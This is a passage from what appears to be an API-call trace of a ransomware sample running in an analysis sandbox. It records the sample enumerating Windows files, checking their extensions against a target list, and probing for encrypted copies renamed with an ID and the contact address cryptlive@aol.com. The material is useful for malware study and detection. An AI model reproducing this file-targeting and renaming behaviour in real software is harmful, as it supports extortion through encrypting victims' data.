shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.112] lstrlenW (lpString=".doc") returned 4 [0131.112] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.112] lstrlenW (lpString=".docx") returned 5 [0131.112] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0131.112] lstrlenW (lpString=".pdf") returned 4 [0131.112] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.112] lstrlenW (lpString=".xls") returned 4 [0131.112] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.112] lstrlenW (lpString=".xlsx") returned 5 [0131.112] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0131.112] lstrlenW (lpString=".ppt") returned 4 [0131.112] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.112] lstrlenW (lpString=".zip") returned 4 [0131.112] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.112] lstrlenW (lpString=".rar") returned 4 [0131.112] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.112] lstrlenW (lpString=".bz2") returned 4 [0131.112] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.112] lstrlenW (lpString=".7z") returned 3 [0131.112] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.112] lstrlenW (lpString=".dbf") returned 4 [0131.112] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.113] lstrlenW (lpString=".1cd") returned 4 [0131.113] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.113] lstrlenW (lpString=".jpg") returned 4 [0131.113] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.113] lstrlenW (lpString=".doc") returned 4 [0131.113] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.113] lstrlenW (lpString=".docx") returned 5 [0131.113] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0131.113] lstrlenW (lpString=".pdf") returned 4 [0131.113] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.113] lstrlenW (lpString=".xls") returned 4 [0131.113] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.113] lstrlenW (lpString=".xlsx") returned 5 [0131.113] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0131.113] lstrlenW (lpString=".ppt") returned 4 [0131.113] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.113] lstrlenW (lpString=".zip") returned 4 [0131.113] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.113] lstrlenW (lpString=".rar") returned 4 [0131.113] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.113] lstrlenW (lpString=".bz2") returned 4 [0131.113] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.114] lstrlenW (lpString=".7z") returned 3 [0131.114] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.114] lstrlenW (lpString=".dbf") returned 4 [0131.114] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.114] lstrlenW (lpString=".1cd") returned 4 [0131.114] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0131.114] lstrlenW (lpString=".jpg") returned 4 [0131.114] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.114] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.114] lstrlenW (lpString="ko-kr.xml") returned 9 [0131.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.114] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=15097) returned 1 [0131.115] CloseHandle (hObject=0x314) returned 1 [0131.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0131.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.115] lstrlenW (lpString=".doc") returned 4 [0131.115] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.115] lstrlenW (lpString=".docx") returned 5 [0131.115] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0131.115] lstrlenW (lpString=".pdf") returned 4 [0131.115] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.115] lstrlenW (lpString=".xls") returned 4 [0131.115] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.115] lstrlenW (lpString=".xlsx") returned 5 [0131.115] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0131.115] lstrlenW (lpString=".ppt") returned 4 [0131.115] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.115] lstrlenW (lpString=".zip") returned 4 [0131.115] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.116] lstrlenW (lpString=".rar") returned 4 [0131.116] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.116] lstrlenW (lpString=".bz2") returned 4 [0131.116] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.116] lstrlenW (lpString=".7z") returned 3 [0131.116] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.116] lstrlenW (lpString=".dbf") returned 4 [0131.116] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.116] lstrlenW (lpString=".1cd") returned 4 [0131.116] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.116] lstrlenW (lpString=".jpg") returned 4 [0131.116] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.116] lstrlenW (lpString=".doc") returned 4 [0131.116] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.116] lstrlenW (lpString=".docx") returned 5 [0131.116] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0131.116] lstrlenW (lpString=".pdf") returned 4 [0131.116] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.116] lstrlenW (lpString=".xls") returned 4 [0131.116] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.116] lstrlenW (lpString=".xlsx") returned 5 [0131.116] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0131.116] lstrlenW (lpString=".ppt") returned 4 [0131.116] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.117] lstrlenW (lpString=".zip") returned 4 [0131.117] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.117] lstrlenW (lpString=".rar") returned 4 [0131.117] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.117] lstrlenW (lpString=".bz2") returned 4 [0131.117] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.117] lstrlenW (lpString=".7z") returned 3 [0131.117] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.117] lstrlenW (lpString=".dbf") returned 4 [0131.117] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.117] lstrlenW (lpString=".1cd") returned 4 [0131.117] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0131.117] lstrlenW (lpString=".jpg") returned 4 [0131.117] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.117] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.117] lstrlenW (lpString="zh-changjei.xml") returned 15 [0131.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.118] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9803) returned 1 [0131.118] CloseHandle (hObject=0x314) returned 1 [0131.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0131.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.119] lstrlenW (lpString=".doc") returned 4 [0131.119] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.119] lstrlenW (lpString=".docx") returned 5 [0131.119] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0131.119] lstrlenW (lpString=".pdf") returned 4 [0131.119] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.119] lstrlenW (lpString=".xls") returned 4 [0131.119] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.119] lstrlenW (lpString=".xlsx") returned 5 [0131.119] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0131.119] lstrlenW (lpString=".ppt") returned 4 [0131.119] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.119] lstrlenW (lpString=".zip") returned 4 [0131.119] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.119] lstrlenW (lpString=".rar") returned 4 [0131.119] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.119] lstrlenW (lpString=".bz2") returned 4 [0131.119] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.119] lstrlenW (lpString=".7z") returned 3 [0131.119] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.119] lstrlenW (lpString=".dbf") returned 4 [0131.119] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.120] lstrlenW (lpString=".1cd") returned 4 [0131.120] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.120] lstrlenW (lpString=".jpg") returned 4 [0131.120] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.120] lstrlenW (lpString=".doc") returned 4 [0131.120] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.120] lstrlenW (lpString=".docx") returned 5 [0131.120] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0131.120] lstrlenW (lpString=".pdf") returned 4 [0131.120] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.120] lstrlenW (lpString=".xls") returned 4 [0131.120] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.120] lstrlenW (lpString=".xlsx") returned 5 [0131.120] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0131.120] lstrlenW (lpString=".ppt") returned 4 [0131.120] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.120] lstrlenW (lpString=".zip") returned 4 [0131.120] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.120] lstrlenW (lpString=".rar") returned 4 [0131.120] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.120] lstrlenW (lpString=".bz2") returned 4 [0131.120] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.120] lstrlenW (lpString=".7z") returned 3 [0131.120] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.120] lstrlenW (lpString=".dbf") returned 4 [0131.121] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.121] lstrlenW (lpString=".1cd") returned 4 [0131.121] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0131.121] lstrlenW (lpString=".jpg") returned 4 [0131.121] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.121] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.121] lstrlenW (lpString="zh-dayi.xml") returned 11 [0131.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.121] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=11067) returned 1 [0131.121] CloseHandle (hObject=0x314) returned 1 [0131.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0131.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.122] lstrlenW (lpString=".doc") returned 4 [0131.122] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.122] lstrlenW (lpString=".docx") returned 5 [0131.122] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0131.122] lstrlenW (lpString=".pdf") returned 4 [0131.122] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.122] lstrlenW (lpString=".xls") returned 4 [0131.122] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.122] lstrlenW (lpString=".xlsx") returned 5 [0131.122] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0131.122] lstrlenW (lpString=".ppt") returned 4 [0131.122] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.122] lstrlenW (lpString=".zip") returned 4 [0131.122] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.122] lstrlenW (lpString=".rar") returned 4 [0131.122] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.122] lstrlenW (lpString=".bz2") returned 4 [0131.122] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.122] lstrlenW (lpString=".7z") returned 3 [0131.122] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.122] lstrlenW (lpString=".dbf") returned 4 [0131.122] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.122] lstrlenW (lpString=".1cd") returned 4 [0131.123] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.123] lstrlenW (lpString=".jpg") returned 4 [0131.123] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.123] lstrlenW (lpString=".doc") returned 4 [0131.123] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.123] lstrlenW (lpString=".docx") returned 5 [0131.123] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0131.123] lstrlenW (lpString=".pdf") returned 4 [0131.123] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.123] lstrlenW (lpString=".xls") returned 4 [0131.123] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.123] lstrlenW (lpString=".xlsx") returned 5 [0131.123] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0131.123] lstrlenW (lpString=".ppt") returned 4 [0131.123] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.123] lstrlenW (lpString=".zip") returned 4 [0131.123] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.123] lstrlenW (lpString=".rar") returned 4 [0131.123] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.123] lstrlenW (lpString=".bz2") returned 4 [0131.123] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.123] lstrlenW (lpString=".7z") returned 3 [0131.123] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.123] lstrlenW (lpString=".dbf") returned 4 [0131.123] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.124] lstrlenW (lpString=".1cd") returned 4 [0131.124] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0131.124] lstrlenW (lpString=".jpg") returned 4 [0131.124] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.124] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.124] lstrlenW (lpString="zh-phonetic.xml") returned 15 [0131.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.125] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=10947) returned 1 [0131.125] CloseHandle (hObject=0x314) returned 1 [0131.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0131.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0131.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0131.126] lstrlenW (lpString=".doc") returned 4 [0131.126] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.126] lstrlenW (lpString=".docx") returned 5 [0131.126] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0131.126] lstrlenW (lpString=".pdf") returned 4 [0131.126] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.126] lstrlenW (lpString=".xls") returned 4 [0131.126] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.126] lstrlenW (lpString=".xlsx") returned 5 [0131.126] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0131.126] lstrlenW (lpString=".ppt") returned 4 [0131.126] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0131.126] lstrlenW (lpString=".zip") returned 4 [0131.126] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.126] lstrlenW (lpString=".rar") returned 4 [0131.126] 